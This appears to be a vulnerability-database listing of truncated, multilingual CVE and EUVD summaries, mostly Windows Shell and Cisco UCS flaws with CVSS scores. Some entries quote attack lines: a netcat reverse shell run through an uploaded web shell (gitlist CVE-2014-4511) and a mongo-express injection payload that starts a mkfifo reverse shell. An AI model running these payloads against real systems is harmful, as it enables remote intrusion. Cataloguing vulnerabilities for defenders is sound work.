CVE-2026-20293

A vulnerability in the Unified Extensible Firmware Interface UEFI Shell implementation of Cisco UCS Servers and UCS-based appliances could allow an authenticated attacker with valid credentials for a user account with the role of user or admin or an unauthenticated attacker with physical access t...

EUVD-2026-73691

Use after free in Windows Shell allows an authorized attacker to elevate privileges locally...

CVE-2026-69392

CVE-2026-69392 is a use-after-free vulnerability in Windows Shell that allows an authorized attacker to perform local privilege escalation . The CVSS 3.1 score is 7.8 (HIGH) , reflecting a local attack vector with high complexity, low privileges required, no user interaction, and a scope change l...

CVE-2026-69829

CVE-2026-69829 is a heap-based buffer overflow in Windows Shell that allows an unauthorized attacker to achieve remote code execution over a network . Microsoft's assigned CVSS 3.1 score is 9.8 (CRITICAL) , with an attack vector of Network, low complexity, no privileges required, and no user inte...

EUVD-2026-73629

Heap-based buffer overflow in Windows Shell allows an unauthorized attacker to execute code over a network...

EUVD-2026-73549

Use after free in Windows Shell allows an authorized attacker to elevate privileges locally...

CVE-2026-69606

CVE-2026-69606 is a use-after-free vulnerability in Windows Shell that allows a local, low-privilege attacker to achieve local privilege elevation . The CVSS 3.1 score is 7.0 (HIGH) , with the vector CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, indicating a local attack vector, high complexity, ...

CVE-2026-69383

CVE-2026-69383 is a local elevation of privilege vulnerability in Windows Shell , caused by external control of file name or path . An authorized attacker with low privileges can exploit this to gain full control over confidentiality, integrity, and availability of the system (CVSS 3.1 base score...

EUVD-2026-73131

External control of file name or path in Windows Shell allows an authorized attacker to elevate privileges locally...

EUVD-2026-73081

Improper link resolution before file access 'link following' in Windows Shell allows an unauthorized attacker to perform spoofing over a network...

CVE-2026-70563

CVE-2026-70563 is an improper link resolution before file access ("link following") vulnerability in Windows Shell that allows an unauthorized attacker to perform spoofing over a network . The assigned CVSS 3.1 score is 8.1 (HIGH) with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N, indicating h...

CVE-2026-69528

CVE-2026-69528 is a local privilege escalation vulnerability in Windows Shell caused by missing authentication for a critical function . An authorized attacker (with low privileges, no user interaction required) can exploit this to gain full control over confidentiality, integrity, and availabili...

EUVD-2026-73010

Missing authentication for critical function in Windows Shell allows an authorized attacker to elevate privileges locally...

gitlist-RCE

gitlist-RCE CVE-2014-4511 例: シェルアップロード成功後: アクセス: http://192.168.1.126/cache/x.php/?cmd=nc -nv 192.168.1.127 1111 -e /bin/sh http://192.168.1.126/cache/x.php/?cmd=nc%20-nv%20192.168.1.127%201111%20-e%20/bin/sh...

CVE-2022-20818

CVE-2022-20818: Escalada de privilegios local mediante lectura parcial de archivos en Cisco SD-WAN La función “config - load” del shell SSH de Viptela utiliza “wget” para obtener archivos “command” remotos a través de FTP. Al alojar un servidor FTP malicioso y reemplazar los archivos locales...

CVE-2021-42561

CVE-2021-42561：MITRE Caldera 中 Human 插件的命令注入 在 Caldera（版本 =2.8.1）中，Human 插件会将未经净化的 name 参数传递给 python 的 "os.system" 函数。这允许攻击者使用 shell 元字符（例如反引号 "" 或美元括号 "$"）来转义当前命令并执行任意 shell 命令。 厂商披露： 该漏洞的厂商披露信息可在此处查看。 要求： 此漏洞需要： 有效的用户凭据 概念验证： 更多详情和利用过程可参阅此 PDF。...

CVE-2026-29041

CVE-2026-29041 — 通过 Chamilo LMS 1.11.32 中的无限制文件上传实现已认证 RCE -yellow?style=for-the-badge Chamilo LMS 1.11.32 中通过 ckuploadimage AJAX 端点的不当文件上传验证实现已认证远程代码执行 。低权限学生可上传伪装成图片的 PHP Web Shell，从而实现完全服务器沦陷。 📋 漏洞摘要 字段| 详情 ---|--- 产品| Chamilo LMS 版本| 1.11.32（已确认） 漏洞类型| 危险类型文件的无限制上传（CWE-434） 影响| 已认证远程代码执行（RCE）...

CVE-2019-10758

CVE-2019-10758 mongo-expressのリモートコード実行、リバースシェルのコードは以下のとおりです： POST BODY 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" POST BODY 2： document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"cat...

cve-2017-2824-reverse-shell

Este repositorio no tiene un README...

EUVD-2026-72936

A vulnerability in the Unified Extensible Firmware Interface UEFI Shell implementation of Cisco UCS Servers and UCS-based appliances could allow an authenticated attacker with valid credentials for a user account with the role of user or admin or an unauthenticated attacker with physical access t...